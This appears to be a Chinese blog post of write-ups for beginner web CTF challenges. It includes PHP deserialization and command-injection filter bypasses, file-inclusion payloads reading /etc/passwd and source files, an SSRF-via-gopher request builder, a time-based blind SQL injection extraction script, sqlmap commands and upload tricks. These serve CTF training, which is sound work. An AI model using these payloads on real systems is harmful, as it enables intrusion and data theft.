程序员的资源宝库

网站首页 > gitee 正文

攻防世界web 难度1新手练习(攻防世界weak)

sanyeah 2024-04-01 11:40:17 gitee 7 ℃ 0 评论

unseping

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
	//构造函数,实例化的时候先调用这里,初始化两个参数
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
	//魔法函数,该函数会在类的一个对象被删除时自动调用
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args); //回调函数,可以将把一个数组参数作为回调函数的参数 call_user_func_array($fun,$arr);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
	
	//匹配 | & ; 空格 / cat flag tac php ls 关键字返回str
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { 
            return $str;
        } else {
            echo "don't hack";
        }
    }
	//__wakeup(),执行unserialize()时,先会调用这个函数/
    function __wakeup(){
        foreach($this->args as $k => $v) {	//键值分离
            $this->args[$k] = $this->waf($v);	//把键值分离出的值$v放到waf函数进行过滤后再赋值
        }
    }   
}

$ctf=@$_POST['ctf'];
//$ctf base64解码,然后反序列化,并返回原始的对象结构。
@unserialize(base64_decode($ctf));
?>

poc

<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

//流程: 64解码,反序列化出一条实例化语句,调用了构造方法完成初始化,继续调用wakeup,将this->args中进行waf函数过滤。代码继续执行,结束之时,调用destruct函数,满足if 进入调用构造函数,间接调用ping函数中的exec。
/*
绕过:因为过滤了很多命令,这里查阅资料到一下绕过方式。
单引号、双引号、${Z}。例如ls 可以 'l""'
空格绕过:${IFS}
/绕过:$(printf "\154\163")ls命令,这个编码后可以拼接
"\154\163"  就是ls
把 cat$[IFS]flag_1s_here/xx.php 转成ascii 然后8进制 替换地方
最终$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")
然后就和以前一样就行了,payload

*/


str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//对字符先转换为ASCII码,再转换为八进制
    lett = oct(ord(i))
    //这个主要是为了将八进制前面的0o替换掉
    lett=str(lett).replace("0o","")
    arr.append(lett)
sym = "\\"
//将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)

Include

CTF常用伪协议总结_Asionm的博客-CSDN博客

Php伪协议:

  • file://协议。用来读取本地的文件,当用于文件读取函数时可以用。
    常见检测是否存在漏洞写法:
    xxx/?file=file:///etc/passwd
    此协议不受allow_url_fopen,allow_url_include配置影响

  • php:input协议。此协议一般用于输入getshell的代码。- 在get处填上php://input如下
    xxx.xxx/?cmd=php://input
    然后用hackbar或者其他工具,postPHP代码进行检验,如
    <?php>phpinfo()?>
    此协议受allow_url_include配置影响

  • php://filter协议。此协议一般用来查看源码
    一般用法如下
    xxx.xxx/?file=php://filter/read=convert.base64-encode/resource=index.php
    出来的是base64码需要进行解码
    此协议不受allow_url_fopen,allow_url_include配置影响

  • data://协议。需要allow_url_fopen,allow_url_include均为on
    这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
    http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
    text/plain,表示的是文本
    text/plain;base64, 若纯文本没用可用base64编码

  • dict://协议。与gopher协议一般都出现在ssrf协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击。

常见用法:
探测端口指纹
192.168.0.0/?url=dict://192.168.0.0:6379
以上为探测6379(redis)端口的开发
反弹shell

  • gopher://协议。
  • gopher://协议经常用来打内网的各种应用如mysql redis等。一般要用一些工具来进行构造payload 如gopherus等
  • zip;//协议。
  • compress.bzip2://协议
    与zip协议类似不过要压缩成bzip2格式的
  • compress.zlib://协议
    与zip协议类似不过要压缩成zlib格式的
  • phar://协议

转换过滤器

convert.过滤器支持convert.iconv. 格式,使用方法:

convert.iconv..

convert.iconv./

例如:

convert.iconv.UCS-4.UCS-4BE ---> 将指定的文件从UCS-4转换为UCS-4BE 输出
iconv支持的字符集有

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

--------------------测试--------------------
http://61.147.171.105:63847/?filename=ph1p://filter/re1ad=conver.bas1e64/resource=check.php 不提示过滤

http://61.147.171.105:63847/?filename=ph1p://filter/read=conver.base64/resource=check.php 提示过滤
我们发现read base等关键字被过滤了
用转换过滤器绕过
构造url,然后使用bp进行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.php

由此发现filename过滤了base,be,encode,print,zlib,quoted,write,rot12,read,string

猜测flag是flag.php

fileinclude

1.

?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

2.

data://:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm

very_easy_sql

F12发现注释提示


提示不是内部用户无法访问

访问这个地址发现是个类似于远程访问的东西,猜测是ssrf实现内部访问登入然后注入之类的

http://61.147.171.105:59242/use.php?url=127.0.0.1%2Fuse.php

gopher构造请求

gopher介绍

gopher协议的格式:gopher://IP:port/_TCP/IP数据流

GET请求:
构造HTTP数据包,URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束

POST请求
POST与GET传参的区别:它有4个参数为必要参数
需要传递Content-Type,Content-Length,host,post的参数
Content-Length和POST的参数长度必须一致

登入请求是POST

构造POST
import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

payload =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)

tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码,中文编码
#print(tmp)
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞,HTTP包最后加%0d%0a代表消息结束
#print(new)
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)

返回包里set-cookie字段有个很显眼的东西

返回的是设置cookie为admin

这里就猜测应该是cookie注入,于是在cookie在这里做尝试.

我大概的猜测是,gopher携带的数据流从服务器发起请求index.php,数据流中携带的cookie:thisxxxx被index.php的requset接收到,并且查询产生了注入。

构造POC
poc格式1 :admin') and if((length(database())>4),sleep(5),1)#    //构造思路admin查到然后继续if函数
poc格式2 :') or if(1=1,sleep(5),1)#    //这个不用写admin,不过这个条件成立之后,反映时间远超sleep的时间,不成立倒是秒反映
poc格式3 :') union select 1,2,if(1=1,sleep(10),1)#    //这个是联合查询,前面查成功失败无所有,后面继续查询,但是我不了解为啥是select 三个字段,我猜是试出来的,时间盲注判断字段数我不知道,也没看到啥资料写。

//构造闭合
admin' and if((length(database())>4),sleep(5),1)#
admin" and if((length(database())>4),sleep(5),1)#
admin') and if((length(database())>4),sleep(5),1)#

') union select 1,2,if(1=1,sleep(5),1)# -----base64----->
JykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw==

import urllib.parse

host = "127.0.0.1:80"
cookie="this_is_your_cookie=JykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw=="

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DJykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw%253D%253D%250D%250A%250D%250A

存在盲注

payload脚本
import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:49915/use.php?url="
flag=""
for pos in range(1,50): #从1-49
    for i in range(33,127): #从ascii 33-127
        poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # " #mysql中的start是从1开始的
        
        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
        final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
        t1=time.time()
        res=requests.get(url+final_poc)
        t2=time.time()
        if(t2-t1>2):
            flag+=chr(i)
            print(flag)
            break
print(flag)

fileinclude

<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<br />
<b>Notice</b>:  Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<?php
if( !ini_get('display_errors') ) {	//指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);	//error_reporting() 函数规定报告哪个错误。E_ALL	所有的错误和警告的级别
$lan = $_COOKIE['language'];
//如果没有$lan就默认设置cookie,然后包含english.php,否则把$lan拼接包含。
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>

通过php伪协议读取去flag.php,然后被include出来

这里是

easyphp

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];
//获取$a的整数值,要求a>6000000并且长度小于3 ?a=9e+6&b=931858154640
//截取md5($b) -6,6 和 8b184b 比较 
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){	
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}
//{"m":"9999abc","n":[["666"],0]}
$c=(array)json_decode(@$_GET['c']);	//jsondecode$c 变成数组格式
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ //$c是数组,$c["m]不是数字 , $c["m] >2022		9999abc 强制转换成9999
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){	//$c["n"]是数组,$c["n"]数量 = 2 , $c["n"][0] 是数组。
        $d = array_search("DGGJ", $c["n"]);	//在数组$c["n"]搜索DGGJ。array_search里面DGGJ和数字比较的时候会强制转换成0
        $d === false?die("no..."):NULL;	//如果$d是假,则结束
        foreach($c["n"] as $key=>$val){	//数组$c["n"]键值分离,然后 如果有个值是DGGJ,结束
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}
//满足key1 != 0 and key2 !=0
if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

easyupload

靶机的基本信息

Nginx,这个的话可以考虑.user.ini

测试过滤内容
.php不能直接上传,过滤为后端过滤后缀。更改Content-Type: image/jpeg也不行(Your file looks wicked)
检测Content-Type内容

常见的媒体格式类型如下:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
以application开头的媒体格式类型:
application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded :

中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)
另外一种常见的媒体格式是上传文件之时使用的:
multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式

检测图片中的内容过滤php关键字
上传.user.ini

https://www.cnblogs.com/NineOne/p/14033391.html
auto_prepend_file可以让所有的php文件自动的包含某个文件。

上传a.png

查看地址并连接



inget

id=admin(我不允许告诉你管理员密码。)

id=admin' or 1=1 -- q

id一般为int型,试试id=1

id=1' or 1=1 -- q

id=1' or 1=1#

用#注释就不生效,两种注释都得试试。。

python sqlmap.py -u "http://61.147.171.105:57432/index.php?id=1" -dbs
python sqlmap.py -u "http://61.147.171.105:57432/index.php?id=1" -T cyber --dump

泰山杯-文件包含

do not hack

逐步增加1找过过滤关键词
?filename=ph1p://fi1lter/re1ad=con1vert.ba1se64-encode/resource=flag.php

base64 string.rot13 string.strip_tags被过滤了

http://61.147.171.105:54685/?filename=php://filter/re1ad=convert.ba1se64-encode/resource=flag.php

尝试用iconv过滤器

多尝试几个字符集,可以直接爆破(可参考前文Include关卡)

?filename=php://filter/convert.iconv.ASCII.UCS-4/resource=check.php

baby_web

访问index.php 并且抓包

打CTF啥地方也得瞅瞅哦,flag东藏西躲的。。。

simple_php

知识点

==时要求运算符两边的数据 类型必须一致,所以字符串被强制 转换为了整型0
三个等号代表比较对象的类型也要一致。两个等号表示只要值相等就满足条件
不是数字又要大于一个数字,可以用科学计算法

weak_auth

此题考察弱密码,直接弱口令1000.txt爆破

disabled_button

disable删除即可点击

cookie

通过插件或者F12查看cookie

backup

常见的备份文件后缀

.bak”
.git”
.svn”
.swp”
.~”
.bash_history”
.bkf”

http://61.147.171.105:57512/index.php.bak

用记事本打开即可发现flag

robots

知识点

 robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。

  当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
百度官方建议,仅当您的网站包含不希望被搜索引擎收录的内容时,才需要使用robots.txt文件。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。
  robots.txt必须放置在一个站点的根目录下,而且文件名必须全部小写。

访问f1ag_1s_h3re.php即可找到flag

get_post

view_source

右键不能审查元素就直接F12

ics-06

id爆破,怎么点都是只有个id

unserialize3

知识点

wakeup
__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
序列化

为了传输数据更加方便,我们把一个实例化的对象长久地存储在了计算机的磁盘上,无论什么时候调用都能恢复原来的样子,这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就。

*比喻**的话就是像是游戏存档,以前没存档的时候一退出去就没你之前的进度了,这个进度就相当于对象,于是后来发明了存档这个东西,之后你想回复之前进度的时候重新载入存档就可以了,之前的等级装备什么都回来了。这里的进度就相当于对象,我们把他保存下载写成一堆字符串,类似于level:3,money=999....,这样的数据我们便于保存,之后我们想还原等级金钱的时候重新导入就好了。

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} 
O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1>:属性名
< field value 1>:属性值

POC

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));
?>

O:4:"xctf":2:

PHP2

f12,cookie,目录扫描都没啥


访问index.php没啥,但是加个s就有了。。。

id得不能等于admin但是又得等于admin

注意这两个比较的地方不一样,一个是强类型比较,一个是弱类型比较。但是第二个比较之前是urldecode一下的,所以考虑先url编码一下.

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

POC:%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

这里admin url编码进行两次,因为首先传到服务器中间件url解码一次。如果编码一次刚传过去就解码成admin就不行了。

Training-WWW-Robots

看题目就知道考察robots.txt


Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表